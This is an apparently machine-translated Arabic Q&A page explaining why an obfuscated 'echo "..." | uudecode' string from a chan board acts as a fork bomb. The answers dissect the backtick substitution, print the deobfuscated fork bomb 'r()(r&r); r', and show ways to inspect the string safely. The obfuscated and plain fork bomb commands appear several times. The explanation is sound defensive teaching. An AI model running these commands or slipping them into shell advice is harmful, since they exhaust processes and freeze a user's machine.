سؤال كيف ولماذا هذه السلسلة من النص قنبلة شوكة؟


العثور على لوحة تشان عشوائي:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

بطريقة أو بأخرى تشغيل هذا يؤدي إلى عملية تفريخ بلا حدود تتفشى وتطحن الماكينة إلى توقف. أرى شيئًا عن "سو" تحاول أن تُنفذ عدة مرات.

.. وهو أمر غريب ، لأنني فقط أتوقع أن يكون النص مخرجات ، وليس تنفيذ أي شيء.

تشغيل هذا النص من خلال وحدة فك تشفير على الإنترنت فقط يعطيني مجموعة من spew:

uudecode result

ما هي هذه الفوضى في النص في الواقع ، وهل هناك طريقة لعرضها "بأمان"؟


129
2017-11-06 06:48


الأصل


لماذا يتم تنفيذ "سو" عدة مرات؟ - Brent Washburne
نصيحة: لا تقم بتشغيل الكود من لوحات تشان العشوائية وكن ممتناً لو كان مجرد قنبلة شوكة. - rr-
هيه. لحسن الحظ كنت على VM snapshotted المقدمة لغرض صريح من اللعب مع القمامة المعادية ربما مثل هذا. - Mikey T.K.
أعلم أن هذا خارج الموضوع ، ولكن هل من الممكن ذكر مجلس الإدارة والسياق الذي تم ذكر الأمر فيه؟ - Sebi
Sebi - archive.rebeccablacktech.com/g/thread/45564403 - Pikamander2


الأجوبة:


أولاً ، دعنا ننظر إلى الأمر بأكمله:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

يحتوي على سلسلة مقتبسة مزدوجة والتي يتم رددها uudecode. ولكن ، لاحظ أنه ضمن السلسلة المزدوجة التي يتم اقتباسها هي ونقلت الخلفية خيط. هذه السلسلة تحصل أعدم. السلسلة هي:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

إذا نظرنا إلى ما فيه ، فإننا نرى ثلاثة أوامر:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

أداء توسيع الدعامة على الأمر الأوسط ، لدينا:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

يحاول السطر الأول تشغيل أمر فارغ في الخلفية. هذا غير مهم.

الخط الثاني مهم: فهو يحدد وظيفة r التي ، عند تشغيل ، تطلق نسختين من نفسها. كل نسخة من هذه النسخ ، بالطبع ، ستطلق نسختين أخريين. وما إلى ذلك وهلم جرا.

الخط الثالث يمتد r، ابتداء من قنبلة شوكة.

ما تبقى من الشفرة ، خارج السلاسل المقتبسة من الخلف ، هو مجرد هراء للتعتيم.

كيفية تشغيل الأمر بسلام

يمكن تشغيل هذا الرمز بأمان إذا قمنا بتعيين حد على مستوى تداخل الوظائف. ويمكن القيام بذلك مع باش FUNCNEST متغير. هنا ، قمنا بتعيينها 2 وهذا يتوقف على العودية:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

تظهر رسائل الخطأ أعلاه أن (أ) أوامر هراء rYWdl و Y29j لم يتم العثور على ، (ب) يتم إيقاف توقف الشوكة بشكل متكرر من قبل FUNCNEST ، و (ج) إخراج echo لا يبدأ مع begin وبالتالي ، لا يعد الإدخال صالحًا uudecode.

قنبلة شوكة في أبسط أشكالها

كيف تبدو القنبلة الشوكية إذا ما أزلنا التعتيم؟ كما تقترح njzk2 و gerrit ، سيكون شكل:

echo "`r()(r&r);r`"

يمكننا تبسيط ذلك أكثر:

r()(r&r); r

هذا يتكون من عبارات اثنين: واحد يعرف وظيفة مفترق القنابل r والركض الثاني r.

كل التعليمات البرمجية الأخرى ، بما في ذلك الأنبوب uudecode، كان هناك فقط للحجب والتضليل.

كان النموذج الأصلي طبقة أخرى من التوجيه الخاطئ

وقد قدم OP رابط إلى مناقشة لوحة chann التي ظهر هذا الرمز. كما هو معروض هناك ، يبدو الرمز مثل:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

لاحظ أحد التعليقات الأولى حول هذا الرمز:

لقد وقعت لذلك. نسخ فقط الجزء الذي أصداء ويفك ، ولكن لا يزال   حصلت على forkbombed

في الشكل على لوحة chann ، يمكن للمرء أن يعتقد بسذاجة أن المشكلة ستكون eval بيان يعمل على إخراج uudecode. هذا من شأنه أن يؤدي إلى التفكير في أن إزالة eval من شأنه أن يحل المشكلة. كما رأينا أعلاه ، هذا غير صحيح وخطير.


188
2017-11-06 07:07



الملتوية! لم افكر ابدا ان اعتبر شل globbing / التوسع في منتصف سلسلة صدى. - Mikey T.K.
أعتقد أنه سيكون من الجيد أن نلاحظ ذلك uudecode غير متعلق بالموضوع تمامًا هنا. للحظة فكرت uudecode تم تنفيذ استيفاء سلسلة من الاقتباس الخلفي مما يجعله غير آمن بشكل أساسي ، ولكن يحدث شوكة القنبلة قبل بدء uudecode على الإطلاق. - gerrit
... و هذهوالسيدات والسادة ، هو السبب في أن الأمان في نصوص القشرة ملطخ بشدة. حتى الأشياء التي تبدو غير ضارة تمامًا يمكن أن تقتلك. (تخيل لو كان هذا إدخال المستخدم من مكان ما ...) - MathematicalOrchid
@ MAThematicalOrchid في الواقع ، فإنه يأخذ جهدا غير مسبوق لإحداث المواد backquoted في مدخلات المستخدم إلى برنامج نصي شل لتنفيذه. و إذا كنت بناء برنامج نصي شل من إدخال المستخدم يجب أن تعرف أفضل من وضعها في علامات اقتباس مزدوجة. - Random832
@ njzk2 ما زلت بحاجة إلى &هناك: echo "`r()(r&r);r`". - gerrit


للإجابة على الجزء الثاني من سؤالك:

... هل هناك طريقة ل "بأمان" رؤيتها؟

لإبطال هذه السلسلة ، استبدل علامات الاقتباس المزدوجة الخارجية بعلامات الاقتباس المفردة ونبذ علامات الاقتباس المفردة التي تحدث داخل السلسلة. مثل هذا ، فإن shell لن ينفذ أي رمز ، وأنت تمر في الواقع كل شيء مباشرة uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

هناك بدائل أخرى مذكورة في التعليقات:

اقترح كاسبرد:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

اقترح يعقوب كرال لاستخدام محرر نصوص ، ولصق المحتويات ، ثم تمرير هذا الملف إلى uudecode.


10
2017-11-06 11:26



بدلا من ذلك: اكتب uudecode على سطر الأوامر. اضغط دخول. نسخ ولصق السلسلة المراد فك ترميزها. - kasperd
بديل آخر: استخدم محرر نصوص لحفظ المحتويات إلى ملف. فتح هذا الملف مع uudecode. - Jacob Krall
شكرا لكليهما ، لقد لاحظت تلك البدائل في الجواب. - gerrit
تأكد من التحقق من أن السلسلة ليست شيئًا مثل echo "foo`die`bar'`die`'baz" أول! هذا هو ، إذا كان لديه أي 'ق فيه ، ثم استبدال علامات الاقتباس مع علامات الاقتباس المفردة لن تكون كافية. - wchargin


من النظرة الأولى ، قد تظن ذلك لن يتم تنفيذ الإخراج إلى shell أبدًا. هذا هو لا يزال صحيحا. المشكلة موجودة بالفعل في إدخال. الخدعة الرئيسية هنا هي ما يتصل بالمبرمجين أسبقية المشغل. هذا هو الأمر الذي تحاول shell معالجة إدخالك:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. يؤلف السلسلة عن طريق تنفيذ جميع أوامر backticks داخله.
  2. عادة أمر غير معروف ، والتي من شأنها أن تسبب بعض الانتاج مثل إذا كان "rYWdl" ليس خطأ مطبعيًا ، فيمكنك استخدام الأمر not not found للبحث عن الحزمة التي تحتوي عليه ... (يعتمد على النظام)
  3. ينفذ 2. في الخلفية. لن ترى أبداً مخرجات.
  4. تحديد وظيفة شوكة القنبلة.
  5. فاصل الأوامر.
  6. تشغيل قنبلة شوكة.
  7. قم بإدخال نتيجة 6. في السلسلة. (نحن لا نأتي هنا.)

الخطأ هو الاعتقاد بذلك echo سيكون الأمر الأول الذي سيتم تنفيذه ، uudecode الثاني. كلاهما لن يتم الوصول إليهما أبداً.

استنتاج: علامات الاقتباس المزدوجة هي دائما خطيرة على الصدفة.


5
2017-11-11 08:01